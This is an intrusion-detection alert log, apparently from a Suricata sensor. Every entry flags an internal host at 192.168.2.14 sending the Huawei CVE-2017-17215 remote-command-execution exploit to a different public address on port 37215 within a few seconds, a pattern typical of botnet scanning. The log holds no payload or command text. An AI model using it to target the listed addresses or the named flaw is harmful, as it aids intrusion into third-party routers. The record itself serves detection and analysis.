2025-02-12T16:53:46.657077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55108	185.74.0.249	37215	TCP
2025-02-12T16:53:46.657092+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39158	157.239.28.148	37215	TCP
2025-02-12T16:53:46.667072+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57538	202.32.197.252	37215	TCP
2025-02-12T16:53:46.671141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40996	41.139.196.144	37215	TCP
2025-02-12T16:53:46.682728+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51208	41.226.199.199	37215	TCP
2025-02-12T16:53:46.749026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40660	197.174.8.232	37215	TCP
2025-02-12T16:53:47.636083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49812	197.123.232.230	37215	TCP
2025-02-12T16:53:47.636095+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36950	197.252.253.185	37215	TCP
2025-02-12T16:53:47.636291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34120	157.170.15.104	37215	TCP
2025-02-12T16:53:47.636601+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60638	197.82.129.206	37215	TCP
2025-02-12T16:53:47.637530+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56978	157.192.38.115	37215	TCP
2025-02-12T16:53:47.637654+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54170	41.18.146.76	37215	TCP
2025-02-12T16:53:47.642979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39582	154.112.32.31	37215	TCP
2025-02-12T16:53:47.656983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56176	207.8.45.36	37215	TCP
2025-02-12T16:53:47.658864+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45624	157.147.198.51	37215	TCP
2025-02-12T16:53:47.659172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55552	197.16.141.37	37215	TCP
2025-02-12T16:53:47.659338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36146	197.129.77.211	37215	TCP
2025-02-12T16:53:47.672555+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35996	157.124.8.182	37215	TCP
2025-02-12T16:53:47.672785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39404	41.55.116.136	37215	TCP
2025-02-12T16:53:47.672865+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34214	157.119.103.62	37215	TCP
2025-02-12T16:53:47.674507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37920	197.64.203.166	37215	TCP
2025-02-12T16:53:47.674507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42582	61.178.43.74	37215	TCP
2025-02-12T16:53:47.675186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42556	41.173.76.96	37215	TCP
2025-02-12T16:53:47.676354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60826	41.226.92.79	37215	TCP
2025-02-12T16:53:47.689597+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45160	197.120.154.50	37215	TCP
2025-02-12T16:53:47.716577+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45202	197.213.132.161	37215	TCP
2025-02-12T16:53:47.750490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60544	197.236.91.10	37215	TCP
2025-02-12T16:53:48.636186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40884	98.201.37.105	37215	TCP
2025-02-12T16:53:48.651390+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50634	157.64.141.246	37215	TCP
2025-02-12T16:53:48.651391+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51144	41.47.47.46	37215	TCP
2025-02-12T16:53:48.653294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39906	199.2.182.127	37215	TCP
2025-02-12T16:53:48.666959+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58926	91.107.55.214	37215	TCP
2025-02-12T16:53:48.667137+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40176	197.98.107.202	37215	TCP
2025-02-12T16:53:48.667379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55204	41.254.55.160	37215	TCP
2025-02-12T16:53:48.668037+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45386	197.29.143.13	37215	TCP
2025-02-12T16:53:48.668834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33584	41.28.216.111	37215	TCP
2025-02-12T16:53:48.669377+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47098	157.214.72.64	37215	TCP
2025-02-12T16:53:48.670920+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34072	197.95.219.170	37215	TCP
2025-02-12T16:53:48.670990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58566	41.22.227.53	37215	TCP
2025-02-12T16:53:48.671142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43864	197.125.92.211	37215	TCP
2025-02-12T16:53:48.671247+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43518	157.83.6.73	37215	TCP
2025-02-12T16:53:48.682602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40600	157.212.222.167	37215	TCP
2025-02-12T16:53:48.698391+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56654	41.8.71.35	37215	TCP
2025-02-12T16:53:48.699076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41686	157.29.46.165	37215	TCP
2025-02-12T16:53:48.700060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57940	138.7.180.162	37215	TCP
2025-02-12T16:53:48.702080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33244	92.41.193.232	37215	TCP
2025-02-12T16:53:48.702302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44660	41.3.213.238	37215	TCP
2025-02-12T16:53:48.703947+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57896	157.145.169.8	37215	TCP
2025-02-12T16:53:48.730498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47024	41.75.173.226	37215	TCP
2025-02-12T16:53:48.731370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59416	47.102.165.77	37215	TCP
2025-02-12T16:53:48.733194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59082	197.119.85.58	37215	TCP
2025-02-12T16:53:48.734236+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44072	197.3.141.85	37215	TCP
2025-02-12T16:53:49.504017+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58564	197.7.195.119	37215	TCP
2025-02-12T16:53:49.714015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52414	157.178.225.39	37215	TCP
2025-02-12T16:53:49.714097+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46518	18.91.193.44	37215	TCP
2025-02-12T16:53:49.714535+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34204	185.109.225.225	37215	TCP
2025-02-12T16:53:49.714687+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35896	41.15.251.139	37215	TCP
2025-02-12T16:53:49.714772+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56128	157.112.150.221	37215	TCP
2025-02-12T16:53:49.714841+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39080	41.202.207.43	37215	TCP
2025-02-12T16:53:49.714885+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60036	157.184.163.100	37215	TCP
2025-02-12T16:53:49.718223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44704	41.191.32.253	37215	TCP
2025-02-12T16:53:49.729681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49578	216.238.157.93	37215	TCP
2025-02-12T16:53:49.729716+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57596	197.0.178.194	37215	TCP
2025-02-12T16:53:49.729761+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48144	197.178.249.137	37215	TCP
2025-02-12T16:53:49.729811+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35750	157.97.73.79	37215	TCP
2025-02-12T16:53:49.731347+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53206	157.66.73.176	37215	TCP
2025-02-12T16:53:49.731421+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59836	157.14.225.20	37215	TCP
2025-02-12T16:53:49.733313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50848	157.48.164.51	37215	TCP
2025-02-12T16:53:49.747169+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39038	41.207.53.248	37215	TCP
2025-02-12T16:53:49.747201+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42742	165.43.97.2	37215	TCP
2025-02-12T16:53:49.747262+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51526	157.118.195.159	37215	TCP
2025-02-12T16:53:49.747331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43936	197.218.84.16	37215	TCP
2025-02-12T16:53:49.747462+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38184	129.44.141.19	37215	TCP
2025-02-12T16:53:49.747592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37458	197.107.24.212	37215	TCP
2025-02-12T16:53:49.747598+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49102	41.67.215.129	37215	TCP
2025-02-12T16:53:49.747669+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49772	69.57.120.34	37215	TCP
2025-02-12T16:53:49.749240+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36888	141.194.81.85	37215	TCP
2025-02-12T16:53:49.749452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49342	197.201.40.164	37215	TCP
2025-02-12T16:53:49.749789+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43868	219.216.74.145	37215	TCP
2025-02-12T16:53:49.751042+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49372	41.98.27.237	37215	TCP
2025-02-12T16:53:50.714272+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59866	157.95.31.93	37215	TCP
2025-02-12T16:53:50.714287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50220	197.239.84.99	37215	TCP
2025-02-12T16:53:50.714294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48258	2.204.175.131	37215	TCP
2025-02-12T16:53:50.714582+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57324	105.80.42.132	37215	TCP
2025-02-12T16:53:50.714656+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53712	41.92.9.95	37215	TCP
2025-02-12T16:53:50.714724+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60938	197.157.141.48	37215	TCP
2025-02-12T16:53:50.714768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56742	118.21.194.146	37215	TCP
2025-02-12T16:53:50.714836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47390	77.233.147.67	37215	TCP
2025-02-12T16:53:50.716705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34520	157.142.205.200	37215	TCP
2025-02-12T16:53:50.717820+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42294	197.174.45.10	37215	TCP
2025-02-12T16:53:50.717872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60774	41.50.204.3	37215	TCP
2025-02-12T16:53:50.718117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53570	197.59.27.224	37215	TCP
2025-02-12T16:53:50.729560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36296	1.73.155.71	37215	TCP
2025-02-12T16:53:50.730118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47340	157.24.166.54	37215	TCP
2025-02-12T16:53:50.731379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33666	197.218.25.0	37215	TCP
2025-02-12T16:53:50.731737+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40956	41.166.220.161	37215	TCP
2025-02-12T16:53:50.731815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34200	41.17.116.55	37215	TCP
2025-02-12T16:53:50.732157+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38824	197.160.119.189	37215	TCP
2025-02-12T16:53:50.732249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36648	41.212.164.207	37215	TCP
2025-02-12T16:53:50.733340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58176	157.233.165.209	37215	TCP
2025-02-12T16:53:50.733521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54714	197.60.74.66	37215	TCP
2025-02-12T16:53:50.733634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45340	41.140.67.233	37215	TCP
2025-02-12T16:53:50.734083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60268	203.179.240.193	37215	TCP
2025-02-12T16:53:50.734266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58914	157.171.48.154	37215	TCP
2025-02-12T16:53:50.734653+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44610	59.71.192.192	37215	TCP
2025-02-12T16:53:50.735406+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33682	41.28.72.236	37215	TCP
2025-02-12T16:53:50.746958+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60734	152.218.133.208	37215	TCP
2025-02-12T16:53:51.718978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51268	197.155.14.29	37215	TCP
2025-02-12T16:53:51.719088+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49290	126.33.174.130	37215	TCP
2025-02-12T16:53:51.761102+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49242	41.12.245.179	37215	TCP
2025-02-12T16:53:51.761192+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59764	41.229.239.87	37215	TCP
2025-02-12T16:53:51.762160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43942	197.115.69.203	37215	TCP
2025-02-12T16:53:51.766094+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55150	212.235.20.150	37215	TCP
2025-02-12T16:53:51.766187+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59812	157.247.49.213	37215	TCP
2025-02-12T16:53:51.766188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54696	92.83.230.224	37215	TCP
2025-02-12T16:53:52.792403+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39238	157.254.50.182	37215	TCP
2025-02-12T16:53:52.792611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59232	200.181.115.162	37215	TCP
2025-02-12T16:53:52.792659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49720	40.207.232.189	37215	TCP
2025-02-12T16:53:52.793520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48138	41.129.242.138	37215	TCP
2025-02-12T16:53:52.793830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42114	157.144.105.141	37215	TCP
2025-02-12T16:53:52.793919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51292	197.1.121.235	37215	TCP
2025-02-12T16:53:52.794121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45938	110.213.40.11	37215	TCP
2025-02-12T16:53:52.794206+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59016	197.26.168.29	37215	TCP
2025-02-12T16:53:52.794319+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34670	197.116.23.70	37215	TCP
2025-02-12T16:53:52.794518+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50854	41.131.166.127	37215	TCP
2025-02-12T16:53:52.794645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44550	41.202.186.2	37215	TCP
2025-02-12T16:53:52.794709+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48558	157.39.28.118	37215	TCP
2025-02-12T16:53:52.795388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57756	41.59.178.71	37215	TCP
2025-02-12T16:53:52.795999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56606	72.60.68.16	37215	TCP
2025-02-12T16:53:52.796308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60604	197.22.33.242	37215	TCP
2025-02-12T16:53:52.797198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58658	157.149.31.95	37215	TCP
2025-02-12T16:53:52.809355+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54346	71.64.57.246	37215	TCP
2025-02-12T16:53:52.809534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38296	197.187.253.39	37215	TCP
2025-02-12T16:53:52.810760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47706	41.205.254.15	37215	TCP
2025-02-12T16:53:52.810824+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45846	197.252.237.185	37215	TCP
2025-02-12T16:53:52.811597+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46218	157.156.45.154	37215	TCP
2025-02-12T16:53:52.811646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48132	157.195.69.164	37215	TCP
2025-02-12T16:53:54.010950+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50872	41.145.224.114	37215	TCP
2025-02-12T16:53:54.013791+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36396	41.214.161.186	37215	TCP
2025-02-12T16:53:54.028489+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43374	178.251.143.19	37215	TCP
2025-02-12T16:53:54.030360+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33256	157.216.107.227	37215	TCP
2025-02-12T16:53:54.823501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51208	64.83.149.59	37215	TCP
2025-02-12T16:53:54.823587+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56642	197.158.203.23	37215	TCP
2025-02-12T16:53:54.824189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34488	14.187.137.94	37215	TCP
2025-02-12T16:53:54.839074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35698	197.102.96.209	37215	TCP
2025-02-12T16:53:54.839167+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44968	199.15.249.10	37215	TCP
2025-02-12T16:53:54.854996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43390	41.16.1.220	37215	TCP
2025-02-12T16:53:54.855153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45574	41.143.114.168	37215	TCP
2025-02-12T16:53:54.855245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48482	157.77.45.62	37215	TCP
2025-02-12T16:53:54.855338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55844	197.204.202.101	37215	TCP
2025-02-12T16:53:54.855385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35448	197.170.127.114	37215	TCP
2025-02-12T16:53:54.855521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59366	41.159.203.175	37215	TCP
2025-02-12T16:53:54.855669+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41564	25.161.153.252	37215	TCP
2025-02-12T16:53:54.856634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54454	41.156.255.152	37215	TCP
2025-02-12T16:53:54.857252+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44928	197.47.234.247	37215	TCP
2025-02-12T16:53:54.857733+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32932	157.100.84.114	37215	TCP
2025-02-12T16:53:54.857990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57090	207.178.108.93	37215	TCP
2025-02-12T16:53:54.858919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44496	108.169.253.222	37215	TCP
2025-02-12T16:53:54.859144+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49730	197.88.120.185	37215	TCP
2025-02-12T16:53:54.859344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39450	197.81.156.79	37215	TCP
2025-02-12T16:53:54.859582+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43642	157.145.73.11	37215	TCP
2025-02-12T16:53:54.860646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34880	60.15.140.205	37215	TCP
2025-02-12T16:53:54.860804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58342	197.187.104.250	37215	TCP
